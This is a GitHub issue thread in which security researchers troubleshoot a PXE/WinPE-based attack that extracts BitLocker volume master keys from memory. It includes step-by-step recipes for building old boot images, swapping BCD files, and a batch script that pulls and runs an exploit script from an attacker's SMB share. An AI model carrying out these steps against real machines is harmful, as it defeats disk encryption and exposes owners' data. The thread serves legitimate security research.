Not possible to recover the VMK using WinPE based attack

Hello,
I'm testing your version based on the winpe, everything works until I get the image of the memory, searchvmk didn't yield result.
My os is Win 11 24H2 enterprise. I tried to dump the memory of the booted computer and logedin, I was able to recover VMK using the searchvmk tool.
I checked the bootloader in the computer, and it is still signed with 2011 certificate, so wondering why attacks didn't work. Any idea on how I can debug it ?
Is it possible that Win 11 24H2 wipe VMK from memory when booting WinPE ?

Hi, thanks for giving it a try.

I also noticed that the WinPE-based approach seems to be less reliable than its Linux-based counterpart.
It definitely works in principle, here is a screenshot of a successful execution:

Is it possible that Win 11 24H2 wipe VMK from memory when booting WinPE ?

Because it works sometimes, I don't think this is the case in general. But maybe it just happens under certain conditions?

As for debugging, I tried to simplify my setup as much as possible:

avoiding GDB automation
using default Windows 11 based WinPE instead of a customized one

However, whenever I had an assumption what the issue might be, a few reboots later this was falsified.

Sofar I mostly tried it on real hardware. A more structured approach might be to test it in a virtual setting, set appropriate breakpoints on the sensitive memory regions and investigate whether:

the key is loaded as expected
the key is unexpectedly cleared/overwritten and by what component

I tried to do on real hardware only as well.Do you think winPE car overwrite the key in memory when loaded ?

Could you please check, whether the latest commits make a difference?

Having the same problem with a Lenovo IdeaPad 7. I need to check the SecureBoot certificate in the morning to rule out that being the issue, but I’m wondering if it has anything to do with the total RAM in the machine (which I also have to check tomorrow). Maybe with more RAM the key will sit somewhere untouched by the WinPE that’s running. Just a thought, so I’m curious how much RAM the machines you’re testing have.

Unfortunately the Linux boot freezes on Secure Boot Enabled, so I’m guessing I don’t have the third party certs to rely on that method.

for me it is not freezing, I get an error when third party CA is not here. I'm trying the new version of winpmem now.
I tried the newer version, and It seems that I have some vmk files, but the diskpart is failing now, it said there is no fixed disk ?
and winpmem finish with a vmk.dat of 0 size.
Now trying to use winpmem to dump full memory, and grep for my key to see if it is already inside.

Have you tried using something like Magnet RAM Capture on an external drive in WinPE to get a full dump? I think that's what I'm going to try and see if I can find the key in the dump

@BigPanda71

@BigPanda71 the device I'm using has ~24 GB RAM.

Before recently switching to the WinPmem approach, I used DumpIt to dump the whole memory and then search for the VMK with the little standalone utility.

I tried both, and I don't have the key on both

I can confirm that the WinPE approach is less reliable. I tried it on a Lenovo ThinkPad X1 Carbon Gen 9 running Windows 11 24H2, but I couldn't find the VMK key

Using WinPE I was able to receive the VMK on my Hyper-V Windows WM running on a HP ZBook Firefly AMD. On all other computers I wasnt ablte to get the VMK.

Coould there be any issues with the size of WinPE which are approx. 500MB, compared to Linux it's much more and therefore may overwrite memory?

@martanne

Hi there @martanne,

I'd also like to contribute with some information to this amazing project:

Tried on a HP ProBook 450 G10 without success:
-> The Linux variant doesn't work at all (crashes with 0x0...0ba) -> It searches the stl-file and before that all the other s7b files are not found - I think this is what you mentioned in other posts about the missing trust to third parties. So I think the only exploit-way would be windows?
-> The windows variant boots into the recovery environment but doesn't find the VMK.
The README/documentation has a pitfall: After rebooting you can't have a guaranteed entry in the recovery environment with CMD as some bitlocker variants seem to disable that environment. So you HAVE to boot from a stick instead to create the initial BCD (with the exploit-windows1.bat). Maybe it's sensible to add that information in the readme? :)
We wanted to manually search the RAM for fragments of the bitlocker key offline to analyze if maybe only part of it gets stored and the rest could, e.g., be bruteforced. But we can't dump the RAM, neither on a large enough stick, nor in the live recovery environment. Probably because it's too large (16GB).
Thus, I second the theory of gosec-rr that at least some part of the key gets overwritten by the windows bootloader.
But to properly analyze this, I would need to have a working memory dump.
My current idea is to modify winpmem to split the dump creation of the files into equal chunks (e.g. 4GB each) and then later merge them on my offline system to analyze them properly.
Any further ideas / inputs?

Kind regards & keep up the fantastic work! 💯

@JustMichi

@JustMichi we dumped the memory after booting into WinPE and we couldn't find a VMK key.

We tried iPXE instead of PXE for faster speed, but then the vulnerability does not exist any more, also other bootloaders are not signed.

We are still trying to figure this out, but struggling. If you got any clues it would be appreciated.

@gosec-rr

@gosec-rr the key not being in the RAM very strongly suggests that (part of) the key is overwritten in memory. It makes sense because the windows files are way bigger than a slim linux bootloader. Our last idea now is to modify winpmem to only search for the magic vmk bytes (03 20 01 00) and then look in the memory area before those bytes if there is at least some part of the bitlocker header left oder the version or something hinting we are on the right way. Because winpmem first checks for the bitlocker signature, then checks the version, then the start and end area and only THEN searches for the spicy vmk header. I think we will try our luck the other way around. Not a huge success chance but better than nothing.
Other than that, what you could try is different languages of the pxe environment or way older files hoping they are less bloated. Maybe even a win10 would work?

But I'm just randomly guessing...
Maybe worth a shot? You decide

I spend a bit of time on the structured approach I mentioned in an earlier comment using a QEMU VM with GDB attached:

Run the Linux based exploit, take note of the physical address where the VMK is found
Set a watch point at the found physical address and dump the surrounding memory
Run the WinPE-based exploit, observe the memory changes

Using this procedure I was able to confirm that the key is successfully loaded into memory and subsequently overwritten again.

Some ideas for further analysis:

Dump the executing code (i.e. location around the instruction pointer) which changes the memory address. Try to find the matching byte sequence in the WinPE image to find out which component is overwriting it.
Dump the new data which overwrites the VMK, to maybe gain some more information about the context. In my opinion, this is unlikely to yield any meaningful results, but maybe we are lucky?

Once we know which component is overwriting the key material we might be able to influence the process. Unfortunately, I'm not sure I will have time to further investigate this in the near future.

If you want to take a more "black box" approach and experiment with random stuff you could try to:

Play around with other options in the served BCD file. Depending on the configuration, it might be possible to shift around some memory allocations/regions.
As already suggested, try different WinPE images. The repository also contains a powershell script to add BitLocker support when building a custom image. Although, this is not necessary for the exploitation and certainly increases the size.

In general it is not entirely clear to me why there are some specific/rare setups where it works.

@martanne

one more thought: On experimentally creating a bat file bruteforcing the offset by calling dislocker-metadata in a for-loop, I realized that at least in the bat file the integer overflows. E.g. 1020304052 becomes a completely different number whereas 102030405 shows as the same number in the for loop.
Also in your example I can clearly see that your offset is only 9 digits while my offset is 10 digits long.
@martanne do you think this is a valid thought? How could I verify and then fix this problem?

kind regards

@bond00

@bond00 all I can say is that according to my current understanding I don't see a reason why using a Windows Setup image would be beneficial over a WinPE based one. However, in practice it seems that @maximegirardet, @JustMichi and yourself all had some degree of success using them. I also do not know why your setup described under 2) would not boot, what error did you get?

At x33fcon I also briefly talked with Oddvar Moe (@api0cradle) about potential differences in images generated by the MDT. He seemed to agree that in principle the Deployment Workbench is "just" a GUI over dism which adds some additional scripts to start the deployment UI.

In the meantime I can confirm the following worked on my testing device:

downloading boot.wim (and boot.sdi) from the x64 version of Windows 10 1709 (i.e., Redstone 3) as found on archive.org with hash:

$ sha256sum boot.*
cd2c00ce027687ce4a8bdc967f26a8ab82f651c9becd703658ba282ec49702bd  boot.sdi
46d95504eb69ff2f0529cf3f430016a4a83b5afcd0a5955945d179a03e828ac6  boot.wim

removing the Windows Setup image:

Remove-WindowsImage -ImagePath boot.wim -Index 2

mounting the image:

Mount-WindowsImage -ImagePath boot.wim -Index 1 -Path c:\winpe

setting the target path:

dism.exe /Image:c:\winpe /Set-TargetPath:X:\

saving the changes:

Dismount-WindowsImage -Path c:\winpe -Save

marking the WinPE image as bootable:

wiminfo boot.wim 1 --boot

booting with option a) (matching @bond00's observation) seems to yield better results:

a) directly over PXE by selecting the corresponding entry in the UEFI boot menu (might not be available in a real world scenario)
b) or first to the Windows login dialog then selecting Shift+Reboot

performing manual exploitation as described in the main README

See the video referenced in the wiki.

@JustMichi

@JustMichi if you want to verify whether a given VMK is valid you can always boot some Linux distribution and mount the partition using dislocker, as is done in the Linux-based exploitation strategy. If for whatever reason you are not able to boot a Linux system, you could always take out the hard drive and connect it to some other system.

Having said that, unless I missed it, you never actually provided the offset which is reported by diskpart in your case?
It is true that up until the latest commit (ffef263) dislocker-metadata.exe was compiled with a 32-bit off_t type. Therefore, the offset was capped at 2^31-1 i.e. 2147483647. So if your offset is larger, you can retry with current git HEAD.

Hi all, Just to give my input on my experience with this. I've tried multiple windows 10 .wim files - all appear to get a VMK successfully but I can confirm that the VMK is incorrect. I've confirmed this by executing the linux based exploit - grabbing the VMK and decrypting the bitlocker partition via dislocker.

When I perform the WinPE version with the windows 10 .wim (resdstone 2 for example), it finds a VMK but it is NOT the same VMK that is found via the linux based exploit. I even tried dumping the RAM to USB via dumpit and modifying the search-vmk.exe to search for all hits of a VMK not just the first. It still only finds the one incorrect VMK.

I'd be really interested to know why this is the case. The Windows 11 based WinPE (your original and some I've downloaded) finds the correct VMK but is obviously larger so more temperamental.

@bond00

I experienced the same behaviour. On my VM where the Windows attack path works out of the box (the VMK is found correct). When I tried with the exact steps from @bond00 on my HP Zbook G7 I also find a VMK, but it is incorrect. Interesting although is, with previous images I wouldn't even find an incorrect VMK on the HP.

I now compare the incorrect VMK (HP) and correct VMK (Windows VM). If anything useful is found, I'll share.

With Bootice (https://www.majorgeeks.com/files/details/bootice_64_bit.html) I also tried to automate the boot process via the exploit script, so Windows automatically loop-boots into PXE. I does work, but I had no luck finding the VMK even after many boot cycles.

Having said that, unless I missed it, you never actually provided the offset which is reported by diskpart in your case? It is true that up until the latest commit (ffef263) dislocker-metadata.exe was compiled with a 32-bit off_t type. Therefore, the offset was capped at 2^31-1 i.e. 2147483647. So if your offset is larger, you can retry with current git HEAD.

For us, this was the solution!
Having said that, it's not only the 1709 (or 1809 also btw) ISO that works, but a few more. We will enumerate properly which ones work for our HP book and list them here.
It works now like a charm with the new commit and the 64bit compile method.

I have one 78MB winpe boot.wim but it never match any VMK header.
I also generated a autorun winpe boot.wim base on ADK 1607 and it can search out correct VMK on a hasee laptop with 99% success rate. but it only success with about 5% success rate on other laptops.

SO maybe should use tech like heap fengshui to prevent from VMK memory overwritten and increase success rate.

linux exploit: pxe -> bootmgfw.efi -> BCD -> bootmgfw.efi(BCD {bootmgr} path element) -> [store VMK in memory] -> softreboot -> shimx64.efi -> grubx64.efi -> linux kernel
winpe exploit: pxe -> bootmgfw.efi -> BCD_A -> bootmgfw.efi(BCD_A {bootmgr} path element) -> [store VMK in memory] -> softreboot -> bootmgfw.efi -> BCD _B-> bootmgfw.efi(BCD_B {bootmgr} path element) -> winload.efi -> windows kernel

Before jump into kernel, uefi application(like bootmgfw.efi) loaded/allocd memory region(like EfiLoaderCode/EfiLoaderData) will be freed and these info will be saved a memory map struct, then pass to kernel. So windows can reuse these memory region hole.
Winpe exploit have longer boot chain than linux exploit, we must avoid memory PAGE which VMK live in reused by windows.

In winpe exploit, memory region before jump into kernel may like this:

bootmgfw.efi
BCD_A
bootmgfw.efi
VMK
bootmgfw.efi
BCD_B
bootmgfw.efi
...

In linux exploit, may like this:

bootmgfw.efi
BCD
bootmgfw.efi
VMK
shimx64.efi
grubx64.efi
...

Larger memory hole will be provided when windows boot and let windows have bigger opportunity to split and fit its data.
So why linux exploit always success?
This is just my thoughts, if there are any mistakes, please point them out.

@genknife

@genknife yes it boils down to the different memory regions being used by the Windows components.

As I alluded to in an earlier comment a more structured approach would try to understand which component overwrites the key material with what kind of data. Once this is known, it will hopefully be easier to influence the involved allocation pattern (e.g. by tweaking the BCD) to avoid the overwrite.

So far we optimized for (minimal) size of he loaded boot.wim. While a natural thing to do, this does not seem to be the primary success criteria. Analyzing this properly will most likely require quite a bit of reverse engineering effort which I'm unlikely to invest.

In the meantime, I created a wiki page showing the exploitation of my testing device. I also added a table (feel free to suggest a better structure or more useful columns) where we can gather data about successful exploitation attempts. Maybe eventually some kind of pattern/similarities could be observed. I would encourage those who managed to recover a valid VMK on a real device to add their relevant information (@maximegirardet, @JustMichi, others?).

So, I tested both the Windows and Linux versions of this exploit on a 5th generation Microsoft Surface Pro tablet. The Linux version successfully extracted the VMK, while the Windows version outputted the wrong VMK.

Also, for whatever reason, when I entered the command prompt for the Windows version of the exploit (after the first boot failed and the system rebooted into WinPE), attempts to type \ failed, and would get replaced with # symbols. I was able to get around this by copy+pasting the \ output by the command prompt itself, although I'm not sure why this would happen (or if it's something specific to the machine I did the testing on).

Just adding my experience for what it's worth. I have an Asus pc and to date I have tried the boot.wim from several isos and no matter what I use it always ends up with a vmk not being found. The boot.wim file size I have been using have been anywhere between 280Mb and 350Mb but, one of my colleagues tried the same pc with an image that was over 400Mb and it worked. This suggests that at least for this pc, the size is not the main factor in whether it works or not. Only problem is I don't know where the boot.wim that worked came from. Just have to keep trying as many as possible to try find it

@martanne

@martanne

In the meantime I can confirm the following worked on my testing device:

downloading boot.wim (and boot.sdi) from the x64 version of Windows 10 1709 (i.e., Redstone 3) as found on archive.org with hash:
$ sha256sum boot.*
cd2c00ce027687ce4a8bdc967f26a8ab82f651c9becd703658ba282ec49702bd  boot.sdi
46d95504eb69ff2f0529cf3f430016a4a83b5afcd0a5955945d179a03e828ac6  boot.wim
removing the Windows Setup image:
Remove-WindowsImage -ImagePath boot.wim -Index 2
mounting the image:
Mount-WindowsImage -ImagePath boot.wim -Index 1 -Path c:\winpe
setting the target path:
dism.exe /Image:c:\winpe /Set-TargetPath:X:\
saving the changes:
Dismount-WindowsImage -Path c:\winpe -Save
marking the WinPE image as bootable:
wiminfo boot.wim 1 --boot
booting with option a) (matching @bond00's observation) seems to yield better results:

a) directly over PXE by selecting the corresponding entry in the UEFI boot menu (might not be available in a real world scenario)

b) or first to the Windows login dialog then selecting Shift+Reboot

performing manual exploitation as described in the main README

See the video referenced in the wiki.

With the 1709 boot.wim the VMK of a recent (read: Oct '25) HP EliteBook 840 G11 was found while using the wim of the Win11 PE (makefile) did not work. Edit: dislocker-metadata did work. I just thought the Output of the partition Offset was the real thing and not a how-to.

@martanne

Hi @martanne, thanks for the amazing work on this project. After countless reboots and WIM file experiments, I found a process that seems to work 75% of the time. :/ I'm interested to see if it works for others. My laptop (HP ZBook Firefly) has the BIOS option to prevent 3rd party boot loaders...which is enabled. Here are my steps.
1. Download Windows 10 1709 (i.e., Redstone 3)

2. Mount the ISO and pull out the boot.wim and boot.sdi files.

3. Run the following commands on the boot.wim file.
   `dism /Mount-Wim /WimFile:boot.wim /Index:1 /MountDir:c:\winpe`
   `dism /image:c:\winpe /Set-TargetPath:X:\`
   `dism /image:c:\winpe /Cleanup-Image /AnalyzeComponentStore`
   `dism /image:c:\winpe /Cleanup-Image /StartComponentCleanup /Resetbase`
   `dism /unmount-image /mountdir:c:\winpe /commit`

4. Create a `run.bat` batch file with the contents.
   `wpeutil initializenetwork`
   `cd %TEMP%`
   `net use s: \\10.13.37.100\smb`
   `copy s:\exploit-winpe2.bat . `
   `.\exploit-winpe2.bat S:`

5. Copy `run.bat` to the sources folder of the install partition of the `boot.wim` file. Note the index number.
   `dism /Mount-Wim /WimFile:boot.wim /Index:2 /MountDir:c:\winpe`
   `copy run.bat c:\winpe\sources\run.bat`
   `dism /unmount-image /mountdir:c:\winpe /commit`

6. Copy the `boot.wim` and `boot.sdi` files to `martanne/bitpixie/pxe/tftp/Boot/` on the PXE server.

7. Fire up `./start-pxe-winpe.sh eth0`. Start the PC and boot from the PXE server. I had better luck NOT rebooting via Shift+Restart from Windows. I think booting into Windows the first time, may be causing some of the memory overwrite issues. Just boot directly into the boot menu, and then to PXE boot.

8. Now, immediately once the Windows setup GUI loads, hit Shift+F10 to open a command prompt. The `run.bat` should be in the current directory, so just type `run.bat`, and hit enter. Hopefully your VMK will be found.
Like I said, I have 75%+ success rate using these steps. When it works, the VMK header is found immediately. When it doesn't work, I can scroll up and see in the first found VMK header about 1/3 of the hexdump matches the known good header, so it does appear to be a memory overwrite issue...which is why I thought automation with a batch script might help.

Just a heads-up this worked for me after multiple tries (>5) on a Surface Laptop 5 and only with manually setting the
rm /bitpixie/pxe/tftp/bootmgfw-stage2.efi
ln -sf BCD_winpe1 /bitpixie/pxe/smb/BCD
then
ln -sf BCD_winpe2 /bitpixie/pxe/smb/BCD
ln -sf bootmgfw.efi /bitpixie/pxe/tftp/bootmgfw-stage2.efi

Booting directly in PXE seems to have better results at least for me.

Great project and thanks @martanne , @bond00 and others in this thread!

@bond00 all I can say is that according to my current understanding I don't see a reason why using a Windows Setup image would be beneficial over a WinPE based one. However, in practice it seems that @maximegirardet, @JustMichi and yourself all had some degree of success using them. I also do not know why your setup described under 2) would not boot, what error did you get?

At x33fcon I also briefly talked with Oddvar Moe (@api0cradle) about potential differences in images generated by the MDT. He seemed to agree that in principle the Deployment Workbench is "just" a GUI over dism which adds some additional scripts to start the deployment UI.

In the meantime I can confirm the following worked on my testing device:

downloading boot.wim (and boot.sdi) from the x64 version of Windows 10 1709 (i.e., Redstone 3) as found on archive.org with hash:
$ sha256sum boot.*
cd2c00ce027687ce4a8bdc967f26a8ab82f651c9becd703658ba282ec49702bd  boot.sdi
46d95504eb69ff2f0529cf3f430016a4a83b5afcd0a5955945d179a03e828ac6  boot.wim
removing the Windows Setup image:
Remove-WindowsImage -ImagePath boot.wim -Index 2
mounting the image:
Mount-WindowsImage -ImagePath boot.wim -Index 1 -Path c:\winpe
setting the target path:
dism.exe /Image:c:\winpe /Set-TargetPath:X:\
saving the changes:
Dismount-WindowsImage -Path c:\winpe -Save
marking the WinPE image as bootable:
wiminfo boot.wim 1 --boot
booting with option a) (matching @bond00's observation) seems to yield better results:

a) directly over PXE by selecting the corresponding entry in the UEFI boot menu (might not be available in a real world scenario)

b) or first to the Windows login dialog then selecting Shift+Reboot

performing manual exploitation as described in the main README

See the video referenced in the wiki.

I tested the solution and was able to boot successfully with this image. The problem happend on the first boot, when using the BCD_winpe1, the computer is stuck on a screen that is blue, freeze like 10-20 seconds, and then shutdown.
Do you think it could be that they implement something on Windows 11 25H2 ? I tried linux and windows version without luck.
On HP EliteBook 845 G8 I got exactly the same issue with linux version, upon downloading the bootloader and BCD, the computer hang on a blue screen and after a while just shutdown.
Some news: On HP EliteBook 840 G8 the linux attack is working, but was not able to make winpe works with both image.

After many, many tries using both W10 and W11 ISO to extract the boot files, I almost gave up. I could run winpmem but I was never able to retrieve the key, especially with a Win11 ISO (Host OS is Windows 10, so I guess that reduces the chances to almost 0). PXE from dnsmasq tftp also takes forever to upload the WinPE image, and trying the bitpixie technique for the first time against a locked BIOS with 3rd party CAs disabled was a bit of a challenge.

But finally, I was able to successfully retrieve the VMK via WinPE with a quite high success rate by using the archive.org boot files mentioned previously, and rebuilding the WinPE image, on an HP EliteBook 650.

Reading this thread has been very helpful to understand the full process, so thanks everyone for documenting your success and failures. I think there's a lot of information here that could be moved to the readme.

I also confirm that booting directly to PXE seems to yield better results compared to booting from Windows.

Thanks again for the hard work !

I tested the solution and was able to boot successfully with this image. The problem happend on the first boot, when using the BCD_winpe1, the computer is stuck on a screen that is blue, freeze like 10-20 seconds, and then shutdown.

I had the same issue. Turns out, all I had to do was press ESC and everything proceeded. However, I wasn't able to retrieve the VMK.

EDIT: If you provide all fonts etc. which are requested by the image (you see them in the dnsmasq log), you will see that the "blue screen" is actually a screen asking for the bitlocker recovery key. ESC is simply saying "ignore the disk and continue booting". This in turn makes it somewhat reasonable that the VMK is not retrieved, because it was never in the RAM.

Navigation Menu

Repository navigation

Not possible to recover the VMK using WinPE based attack #3

16 remaining items

Metadata

Assignees

Labels

Projects

Milestone

Relationships

Development

Not possible to recover the VMK using WinPE based attack #3

Description

Activity

martanne commented on Mar 18, 2025

dummys commented on Mar 18, 2025

martanne commented on Mar 18, 2025

BigPanda71 commented on Mar 20, 2025

dummys commented on Mar 20, 2025

BigPanda71 commented on Mar 20, 2025

martanne commented on Mar 20, 2025

dummys commented on Mar 21, 2025

0x6d69636b commented on May 15, 2025

gosec-rr commented on May 21, 2025

JustMichi commented on May 23, 2025

gosec-rr commented on May 28, 2025

JustMichi commented on May 28, 2025

martanne commented on May 28, 2025

16 remaining items

JustMichi commented on Jun 24, 2025

martanne commented on Jun 24, 2025

martanne commented on Jun 24, 2025

InvertReality commented on Jun 26, 2025

gosec-rr commented on Jun 26, 2025

JustMichi commented on Jun 26, 2025

genknife commented on Jun 26, 2025

martanne commented on Jun 27, 2025

SkylerBrivic commented on Jul 18, 2025

Panicpants commented on Jul 19, 2025

0x4bit commented on Nov 12, 2025

goosvorbook commented on Nov 21, 2025

dummys commented on Nov 26, 2025

FormindASO commented on Feb 26, 2026

dominiqueroux commented on Jul 31, 2026

Metadata

Metadata

Assignees

Labels

Projects

Milestone

Relationships

Development

Issue actions